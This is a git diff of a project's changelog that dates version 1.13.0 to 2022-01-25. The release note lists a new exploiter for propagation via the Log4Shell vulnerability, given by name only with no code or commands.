index e48306308..32216a9e4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). -## [Unreleased] +## [1.13.0] - 2022-01-25 ### Added - A new exploiter that allows propagation via the Log4Shell vulnerability (CVE-2021-44228). #1663